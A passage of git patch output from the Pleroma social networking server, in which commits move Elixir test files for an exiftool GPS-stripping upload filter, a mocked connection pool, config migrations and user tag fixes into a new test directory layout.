insert(:user) - - update = - valid_update - |> Map.put("actor", other_user.ap_id) - - assert {:error, _cng} = ObjectValidator.validate(update, []) - end - end -end -- cgit v1.2.3 From c8418e2d1f0a5dd3b10925a125c3b69c0e8ea18b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 12 Jul 2020 17:06:23 +0300 Subject: fix after rebase --- test/pleroma/upload/filter/exiftool_test.exs | 42 ++++++++++++++++++++++++++++ test/upload/filter/exiftool_test.exs | 42 ---------------------------- 2 files changed, 42 insertions(+), 42 deletions(-) create mode 100644 test/pleroma/upload/filter/exiftool_test.exs delete mode 100644 test/upload/filter/exiftool_test.exs (limited to 'test') diff --git a/test/pleroma/upload/filter/exiftool_test.exs b/test/pleroma/upload/filter/exiftool_test.exs new file mode 100644 index 000000000..d4cd4ba11 --- /dev/null +++ b/test/pleroma/upload/filter/exiftool_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.ExiftoolTest do + use Pleroma.DataCase + alias Pleroma.Upload.Filter + + test "apply exiftool filter" do + assert Pleroma.Utils.command_available?("exiftool") + + File.cp!( + "test/fixtures/DSCN0010.jpg", + "test/fixtures/DSCN0010_tmp.jpg" + ) + + upload = %Pleroma.Upload{ + name: "image_with_GPS_data.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/DSCN0010.jpg"), + tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") + } + + assert Filter.Exiftool.filter(upload) == {:ok, :filtered} + + {exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"]) + {exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"]) + + refute exif_original == exif_filtered + assert String.match?(exif_original, ~r/GPS/) + refute String.match?(exif_filtered, ~r/GPS/) + end + + test "verify webp files are skipped" do + upload = %Pleroma.Upload{ + name: "sample.webp", + content_type: "image/webp" + } + + assert Filter.Exiftool.filter(upload) == {:ok, :noop} + end +end diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs deleted file mode 100644 index d4cd4ba11..000000000 --- a/test/upload/filter/exiftool_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.ExiftoolTest do - use Pleroma.DataCase - alias Pleroma.Upload.Filter - - test "apply exiftool filter" do - assert Pleroma.Utils.command_available?("exiftool") - - File.cp!( - "test/fixtures/DSCN0010.jpg", - "test/fixtures/DSCN0010_tmp.jpg" - ) - - upload = %Pleroma.Upload{ - name: "image_with_GPS_data.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/DSCN0010.jpg"), - tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") - } - - assert Filter.Exiftool.filter(upload) == {:ok, :filtered} - - {exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"]) - {exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"]) - - refute exif_original == exif_filtered - assert String.match?(exif_original, ~r/GPS/) - refute String.match?(exif_filtered, ~r/GPS/) - end - - test "verify webp files are skipped" do - upload = %Pleroma.Upload{ - name: "sample.webp", - content_type: "image/webp" - } - - assert Filter.Exiftool.filter(upload) == {:ok, :noop} - end -end -- cgit v1.2.3 From c4c5caedd809e46542ae3632762d93f14890d51d Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 16 Aug 2020 21:01:38 +0300 Subject: changes after rebase --- test/gun/conneciton_pool_test.exs | 101 ------------ .../20200716195806_autolinker_to_linkify_test.exs | 72 --------- ...2185515_fix_malformed_formatter_config_test.exs | 70 -------- .../20200724133313_move_welcome_settings_test.exs | 144 ----------------- .../20200802170532_fix_legacy_tags_test.exs | 28 ---- test/pleroma/gun/connection_pool_test.exs | 101 ++++++++++++ .../repo/migrations/autolinker_to_linkify_test.exs | 72 +++++++++ .../repo/migrations/fix_legacy_tags_test.exs | 28 ++++ .../fix_malformed_formatter_config_test.exs | 70 ++++++++ .../repo/migrations/move_welcome_settings_test.exs | 144 +++++++++++++++++ test/pleroma/report_note_test.exs | 16 ++ test/pleroma/user/welcome_chat_message_test.exs | 35 ++++ test/pleroma/user/welcome_email_test.exs | 61 +++++++ test/pleroma/user/welcome_message_test.exs | 34 ++++ .../object_validators/accept_validation_test.exs | 56 +++++++ .../object_validators/reject_validation_test.exs | 56 +++++++ .../transmogrifier/accept_handling_test.exs | 91 +++++++++++ .../transmogrifier/answer_handling_test.exs | 78 +++++++++ .../transmogrifier/question_handling_test.exs | 176 +++++++++++++++++++++ .../transmogrifier/reject_handling_test.exs | 67 ++++++++ .../web/plugs/frontend_static_plug_test.exs | 56 +++++++ test/plugs/frontend_static_test.exs | 57 ------- test/report_note_test.exs | 16 -- test/user/welcome_chat_massage_test.exs | 35 ---- test/user/welcome_email_test.exs | 61 ------- test/user/welcome_message_test.exs | 34 ---- .../object_validators/accept_validation_test.exs | 56 ------- .../object_validators/reject_validation_test.exs | 56 ------- .../transmogrifier/accept_handling_test.exs | 91 ----------- .../transmogrifier/answer_handling_test.exs | 78 --------- .../transmogrifier/question_handling_test.exs | 176 --------------------- .../transmogrifier/reject_handling_test.exs | 67 -------- 32 files changed, 1141 insertions(+), 1142 deletions(-) delete mode 100644 test/gun/conneciton_pool_test.exs delete mode 100644 test/migrations/20200716195806_autolinker_to_linkify_test.exs delete mode 100644 test/migrations/20200722185515_fix_malformed_formatter_config_test.exs delete mode 100644 test/migrations/20200724133313_move_welcome_settings_test.exs delete mode 100644 test/migrations/20200802170532_fix_legacy_tags_test.exs create mode 100644 test/pleroma/gun/connection_pool_test.exs create mode 100644 test/pleroma/repo/migrations/autolinker_to_linkify_test.exs create mode 100644 test/pleroma/repo/migrations/fix_legacy_tags_test.exs create mode 100644 test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs create mode 100644 test/pleroma/repo/migrations/move_welcome_settings_test.exs create mode 100644 test/pleroma/report_note_test.exs create mode 100644 test/pleroma/user/welcome_chat_message_test.exs create mode 100644 test/pleroma/user/welcome_email_test.exs create mode 100644 test/pleroma/user/welcome_message_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs create mode 100644 test/pleroma/web/plugs/frontend_static_plug_test.exs delete mode 100644 test/plugs/frontend_static_test.exs delete mode 100644 test/report_note_test.exs delete mode 100644 test/user/welcome_chat_massage_test.exs delete mode 100644 test/user/welcome_email_test.exs delete mode 100644 test/user/welcome_message_test.exs delete mode 100644 test/web/activity_pub/object_validators/accept_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/reject_validation_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/accept_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/answer_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/question_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/reject_handling_test.exs (limited to 'test') diff --git a/test/gun/conneciton_pool_test.exs b/test/gun/conneciton_pool_test.exs deleted file mode 100644 index aea908fac..000000000 --- a/test/gun/conneciton_pool_test.exs +++ /dev/null @@ -1,101 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Gun.ConnectionPoolTest do - use Pleroma.DataCase - - import Mox - import ExUnit.CaptureLog - alias Pleroma.Config - alias Pleroma.Gun.ConnectionPool - - defp gun_mock(_) do - Pleroma.GunMock - |> stub(:open, fn _, _, _ -> Task.start_link(fn -> Process.sleep(100) end) end) - |> stub(:await_up, fn _, _ -> {:ok, :http} end) - |> stub(:set_owner, fn _, _ -> :ok end) - - :ok - end - - setup :set_mox_from_context - setup :gun_mock - - test "gives the same connection to 2 concurrent requests" do - Enum.map( - [ - "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200530163914.pdf", - "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200528183427.pdf" - ], - fn uri -> - uri = URI.parse(uri) - task_parent = self() - - Task.start_link(fn -> - {:ok, conn} = ConnectionPool.get_conn(uri, []) - ConnectionPool.release_conn(conn) - send(task_parent, conn) - end) - end - ) - - [pid, pid] = - for _ <- 1..2 do - receive do - pid -> pid - end - end - end - - test "connection limit is respected with concurrent requests" do - clear_config([:connections_pool, :max_connections]) do - Config.put([:connections_pool, :max_connections], 1) - # The supervisor needs a reboot to apply the new config setting - Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) - - on_exit(fn -> - Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) - end) - end - - capture_log(fn -> - Enum.map( - [ - "https://ninenines.eu/", - "https://youtu.be/PFGwMiDJKNY" - ], - fn uri -> - uri = URI.parse(uri) - task_parent = self() - - Task.start_link(fn -> - result = ConnectionPool.get_conn(uri, []) - # Sleep so that we don't end up with a situation, - # where request from the second process gets processed - # only after the first process already released the connection - Process.sleep(50) - - case result do - {:ok, pid} -> - ConnectionPool.release_conn(pid) - - _ -> - nil - end - - send(task_parent, result) - end) - end - ) - - [{:error, :pool_full}, {:ok, _pid}] = - for _ <- 1..2 do - receive do - result -> result - end - end - |> Enum.sort() - end) - end -end diff --git a/test/migrations/20200716195806_autolinker_to_linkify_test.exs b/test/migrations/20200716195806_autolinker_to_linkify_test.exs deleted file mode 100644 index 84f520fe4..000000000 --- a/test/migrations/20200716195806_autolinker_to_linkify_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.AutolinkerToLinkifyTest do - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - alias Pleroma.ConfigDB - - setup do: clear_config(Pleroma.Formatter) - setup_all do: require_migration("20200716195806_autolinker_to_linkify") - - test "change/0 converts auto_linker opts for Pleroma.Formatter", %{migration: migration} do - autolinker_opts = [ - extra: true, - validate_tld: true, - class: false, - strip_prefix: false, - new_window: false, - rel: "testing" - ] - - insert(:config, group: :auto_linker, key: :opts, value: autolinker_opts) - - migration.change() - - assert nil == ConfigDB.get_by_params(%{group: :auto_linker, key: :opts}) - - %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) - - assert new_opts == [ - class: false, - extra: true, - new_window: false, - rel: "testing", - strip_prefix: false - ] - - Pleroma.Config.put(Pleroma.Formatter, new_opts) - assert new_opts == Pleroma.Config.get(Pleroma.Formatter) - - {text, _mentions, []} = - Pleroma.Formatter.linkify( - "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" - ) - - assert text == - "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"testing\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" - end - - test "transform_opts/1 returns a list of compatible opts", %{migration: migration} do - old_opts = [ - extra: true, - validate_tld: true, - class: false, - strip_prefix: false, - new_window: false, - rel: "qqq" - ] - - expected_opts = [ - class: false, - extra: true, - new_window: false, - rel: "qqq", - strip_prefix: false - ] - - assert migration.transform_opts(old_opts) == expected_opts - end -end diff --git a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs b/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs deleted file mode 100644 index 61528599a..000000000 --- a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs +++ /dev/null @@ -1,70 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.FixMalformedFormatterConfigTest do - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - alias Pleroma.ConfigDB - - setup do: clear_config(Pleroma.Formatter) - setup_all do: require_migration("20200722185515_fix_malformed_formatter_config") - - test "change/0 converts a map into a list", %{migration: migration} do - incorrect_opts = %{ - class: false, - extra: true, - new_window: false, - rel: "F", - strip_prefix: false - } - - insert(:config, group: :pleroma, key: Pleroma.Formatter, value: incorrect_opts) - - assert :ok == migration.change() - - %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) - - assert new_opts == [ - class: false, - extra: true, - new_window: false, - rel: "F", - strip_prefix: false - ] - - Pleroma.Config.put(Pleroma.Formatter, new_opts) - assert new_opts == Pleroma.Config.get(Pleroma.Formatter) - - {text, _mentions, []} = - Pleroma.Formatter.linkify( - "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" - ) - - assert text == - "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"F\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" - end - - test "change/0 skips if Pleroma.Formatter config is already a list", %{migration: migration} do - opts = [ - class: false, - extra: true, - new_window: false, - rel: "ugc", - strip_prefix: false - ] - - insert(:config, group: :pleroma, key: Pleroma.Formatter, value: opts) - - assert :skipped == migration.change() - - %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) - - assert new_opts == opts - end - - test "change/0 skips if Pleroma.Formatter is empty", %{migration: migration} do - assert :skipped == migration.change() - end -end diff --git a/test/migrations/20200724133313_move_welcome_settings_test.exs b/test/migrations/20200724133313_move_welcome_settings_test.exs deleted file mode 100644 index 53d05a55a..000000000 --- a/test/migrations/20200724133313_move_welcome_settings_test.exs +++ /dev/null @@ -1,144 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - alias Pleroma.ConfigDB - - setup_all do: require_migration("20200724133313_move_welcome_settings") - - describe "up/0" do - test "converts welcome settings", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :instance, - value: [ - welcome_message: "Test message", - welcome_user_nickname: "jimm", - name: "Pleroma" - ] - ) - - migration.up() - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - welcome_config = ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - - assert instance_config.value == [name: "Pleroma"] - - assert welcome_config.value == [ - direct_message: %{ - enabled: true, - message: "Test message", - sender_nickname: "jimm" - }, - email: %{ - enabled: false, - html: "Welcome to <%= instance_name %>", - sender: nil, - subject: "Welcome to <%= instance_name %>", - text: "Welcome to <%= instance_name %>" - } - ] - end - - test "does nothing when message empty", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :instance, - value: [ - welcome_message: "", - welcome_user_nickname: "jimm", - name: "Pleroma" - ] - ) - - migration.up() - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - assert instance_config.value == [name: "Pleroma"] - end - - test "does nothing when welcome_message not set", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :instance, - value: [welcome_user_nickname: "jimm", name: "Pleroma"] - ) - - migration.up() - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - assert instance_config.value == [name: "Pleroma"] - end - end - - describe "down/0" do - test "revert new settings to old when instance setting not exists", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :welcome, - value: [ - direct_message: %{ - enabled: true, - message: "Test message", - sender_nickname: "jimm" - }, - email: %{ - enabled: false, - html: "Welcome to <%= instance_name %>", - sender: nil, - subject: "Welcome to <%= instance_name %>", - text: "Welcome to <%= instance_name %>" - } - ] - ) - - migration.down() - - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - - assert instance_config.value == [ - welcome_user_nickname: "jimm", - welcome_message: "Test message" - ] - end - - test "revert new settings to old when instance setting exists", %{migration: migration} do - insert(:config, group: :pleroma, key: :instance, value: [name: "Pleroma App"]) - - insert(:config, - group: :pleroma, - key: :welcome, - value: [ - direct_message: %{ - enabled: true, - message: "Test message", - sender_nickname: "jimm" - }, - email: %{ - enabled: false, - html: "Welcome to <%= instance_name %>", - sender: nil, - subject: "Welcome to <%= instance_name %>", - text: "Welcome to <%= instance_name %>" - } - ] - ) - - migration.down() - - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - - assert instance_config.value == [ - name: "Pleroma App", - welcome_user_nickname: "jimm", - welcome_message: "Test message" - ] - end - end -end diff --git a/test/migrations/20200802170532_fix_legacy_tags_test.exs b/test/migrations/20200802170532_fix_legacy_tags_test.exs deleted file mode 100644 index 432055e45..000000000 --- a/test/migrations/20200802170532_fix_legacy_tags_test.exs +++ /dev/null @@ -1,28 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do - alias Pleroma.User - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - - setup_all do: require_migration("20200802170532_fix_legacy_tags") - - test "change/0 converts legacy user tags into correct values", %{migration: migration} do - user = insert(:user, tags: ["force_nsfw", "force_unlisted", "verified"]) - user2 = insert(:user) - - assert :ok == migration.change() - - fixed_user = User.get_by_id(user.id) - fixed_user2 = User.get_by_id(user2.id) - - assert fixed_user.tags == ["mrf_tag:media-force-nsfw", "mrf_tag:force-unlisted", "verified"] - assert fixed_user2.tags == [] - - # user2 should not have been updated - assert fixed_user2.updated_at == fixed_user2.inserted_at - end -end diff --git a/test/pleroma/gun/connection_pool_test.exs b/test/pleroma/gun/connection_pool_test.exs new file mode 100644 index 000000000..aea908fac --- /dev/null +++ b/test/pleroma/gun/connection_pool_test.exs @@ -0,0 +1,101 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Gun.ConnectionPoolTest do + use Pleroma.DataCase + + import Mox + import ExUnit.CaptureLog + alias Pleroma.Config + alias Pleroma.Gun.ConnectionPool + + defp gun_mock(_) do + Pleroma.GunMock + |> stub(:open, fn _, _, _ -> Task.start_link(fn -> Process.sleep(100) end) end) + |> stub(:await_up, fn _, _ -> {:ok, :http} end) + |> stub(:set_owner, fn _, _ -> :ok end) + + :ok + end + + setup :set_mox_from_context + setup :gun_mock + + test "gives the same connection to 2 concurrent requests" do + Enum.map( + [ + "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200530163914.pdf", + "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200528183427.pdf" + ], + fn uri -> + uri = URI.parse(uri) + task_parent = self() + + Task.start_link(fn -> + {:ok, conn} = ConnectionPool.get_conn(uri, []) + ConnectionPool.release_conn(conn) + send(task_parent, conn) + end) + end + ) + + [pid, pid] = + for _ <- 1..2 do + receive do + pid -> pid + end + end + end + + test "connection limit is respected with concurrent requests" do + clear_config([:connections_pool, :max_connections]) do + Config.put([:connections_pool, :max_connections], 1) + # The supervisor needs a reboot to apply the new config setting + Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) + + on_exit(fn -> + Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) + end) + end + + capture_log(fn -> + Enum.map( + [ + "https://ninenines.eu/", + "https://youtu.be/PFGwMiDJKNY" + ], + fn uri -> + uri = URI.parse(uri) + task_parent = self() + + Task.start_link(fn -> + result = ConnectionPool.get_conn(uri, []) + # Sleep so that we don't end up with a situation, + # where request from the second process gets processed + # only after the first process already released the connection + Process.sleep(50) + + case result do + {:ok, pid} -> + ConnectionPool.release_conn(pid) + + _ -> + nil + end + + send(task_parent, result) + end) + end + ) + + [{:error, :pool_full}, {:ok, _pid}] = + for _ <- 1..2 do + receive do + result -> result + end + end + |> Enum.sort() + end) + end +end diff --git a/test/pleroma/repo/migrations/autolinker_to_linkify_test.exs b/test/pleroma/repo/migrations/autolinker_to_linkify_test.exs new file mode 100644 index 000000000..84f520fe4 --- /dev/null +++ b/test/pleroma/repo/migrations/autolinker_to_linkify_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.AutolinkerToLinkifyTest do + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + alias Pleroma.ConfigDB + + setup do: clear_config(Pleroma.Formatter) + setup_all do: require_migration("20200716195806_autolinker_to_linkify") + + test "change/0 converts auto_linker opts for Pleroma.Formatter", %{migration: migration} do + autolinker_opts = [ + extra: true, + validate_tld: true, + class: false, + strip_prefix: false, + new_window: false, + rel: "testing" + ] + + insert(:config, group: :auto_linker, key: :opts, value: autolinker_opts) + + migration.change() + + assert nil == ConfigDB.get_by_params(%{group: :auto_linker, key: :opts}) + + %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) + + assert new_opts == [ + class: false, + extra: true, + new_window: false, + rel: "testing", + strip_prefix: false + ] + + Pleroma.Config.put(Pleroma.Formatter, new_opts) + assert new_opts == Pleroma.Config.get(Pleroma.Formatter) + + {text, _mentions, []} = + Pleroma.Formatter.linkify( + "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" + ) + + assert text == + "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"testing\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" + end + + test "transform_opts/1 returns a list of compatible opts", %{migration: migration} do + old_opts = [ + extra: true, + validate_tld: true, + class: false, + strip_prefix: false, + new_window: false, + rel: "qqq" + ] + + expected_opts = [ + class: false, + extra: true, + new_window: false, + rel: "qqq", + strip_prefix: false + ] + + assert migration.transform_opts(old_opts) == expected_opts + end +end diff --git a/test/pleroma/repo/migrations/fix_legacy_tags_test.exs b/test/pleroma/repo/migrations/fix_legacy_tags_test.exs new file mode 100644 index 000000000..432055e45 --- /dev/null +++ b/test/pleroma/repo/migrations/fix_legacy_tags_test.exs @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do + alias Pleroma.User + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + + setup_all do: require_migration("20200802170532_fix_legacy_tags") + + test "change/0 converts legacy user tags into correct values", %{migration: migration} do + user = insert(:user, tags: ["force_nsfw", "force_unlisted", "verified"]) + user2 = insert(:user) + + assert :ok == migration.change() + + fixed_user = User.get_by_id(user.id) + fixed_user2 = User.get_by_id(user2.id) + + assert fixed_user.tags == ["mrf_tag:media-force-nsfw", "mrf_tag:force-unlisted", "verified"] + assert fixed_user2.tags == [] + + # user2 should not have been updated + assert fixed_user2.updated_at == fixed_user2.inserted_at + end +end diff --git a/test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs b/test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs new file mode 100644 index 000000000..61528599a --- /dev/null +++ b/test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs @@ -0,0 +1,70 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.FixMalformedFormatterConfigTest do + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + alias Pleroma.ConfigDB + + setup do: clear_config(Pleroma.Formatter) + setup_all do: require_migration("20200722185515_fix_malformed_formatter_config") + + test "change/0 converts a map into a list", %{migration: migration} do + incorrect_opts = %{ + class: false, + extra: true, + new_window: false, + rel: "F", + strip_prefix: false + } + + insert(:config, group: :pleroma, key: Pleroma.Formatter, value: incorrect_opts) + + assert :ok == migration.change() + + %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) + + assert new_opts == [ + class: false, + extra: true, + new_window: false, + rel: "F", + strip_prefix: false + ] + + Pleroma.Config.put(Pleroma.Formatter, new_opts) + assert new_opts == Pleroma.Config.get(Pleroma.Formatter) + + {text, _mentions, []} = + Pleroma.Formatter.linkify( + "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" + ) + + assert text == + "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"F\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" + end + + test "change/0 skips if Pleroma.Formatter config is already a list", %{migration: migration} do + opts = [ + class: false, + extra: true, + new_window: false, + rel: "ugc", + strip_prefix: false + ] + + insert(:config, group: :pleroma, key: Pleroma.Formatter, value: opts) + + assert :skipped == migration.change() + + %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) + + assert new_opts == opts + end + + test "change/0 skips if Pleroma.Formatter is empty", %{migration: migration} do + assert :skipped == migration.change() + end +end diff --git a/test/pleroma/repo/migrations/move_welcome_settings_test.exs b/test/pleroma/repo/migrations/move_welcome_settings_test.exs new file mode 100644 index 000000000..53d05a55a --- /dev/null +++ b/test/pleroma/repo/migrations/move_welcome_settings_test.exs @@ -0,0 +1,144 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do + use Pleroma.DataCase + import Pleroma.Factory + import Pleroma.Tests.Helpers + alias Pleroma.ConfigDB + + setup_all do: require_migration("20200724133313_move_welcome_settings") + + describe "up/0" do + test "converts welcome settings", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :instance, + value: [ + welcome_message: "Test message", + welcome_user_nickname: "jimm", + name: "Pleroma" + ] + ) + + migration.up() + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + welcome_config = ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + + assert instance_config.value == [name: "Pleroma"] + + assert welcome_config.value == [ + direct_message: %{ + enabled: true, + message: "Test message", + sender_nickname: "jimm" + }, + email: %{ + enabled: false, + html: "Welcome to <%= instance_name %>", + sender: nil, + subject: "Welcome to <%= instance_name %>", + text: "Welcome to <%= instance_name %>" + } + ] + end + + test "does nothing when message empty", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :instance, + value: [ + welcome_message: "", + welcome_user_nickname: "jimm", + name: "Pleroma" + ] + ) + + migration.up() + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + assert instance_config.value == [name: "Pleroma"] + end + + test "does nothing when welcome_message not set", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :instance, + value: [welcome_user_nickname: "jimm", name: "Pleroma"] + ) + + migration.up() + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + assert instance_config.value == [name: "Pleroma"] + end + end + + describe "down/0" do + test "revert new settings to old when instance setting not exists", %{migration: migration} do + insert(:config, + group: :pleroma, + key: :welcome, + value: [ + direct_message: %{ + enabled: true, + message: "Test message", + sender_nickname: "jimm" + }, + email: %{ + enabled: false, + html: "Welcome to <%= instance_name %>", + sender: nil, + subject: "Welcome to <%= instance_name %>", + text: "Welcome to <%= instance_name %>" + } + ] + ) + + migration.down() + + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + + assert instance_config.value == [ + welcome_user_nickname: "jimm", + welcome_message: "Test message" + ] + end + + test "revert new settings to old when instance setting exists", %{migration: migration} do + insert(:config, group: :pleroma, key: :instance, value: [name: "Pleroma App"]) + + insert(:config, 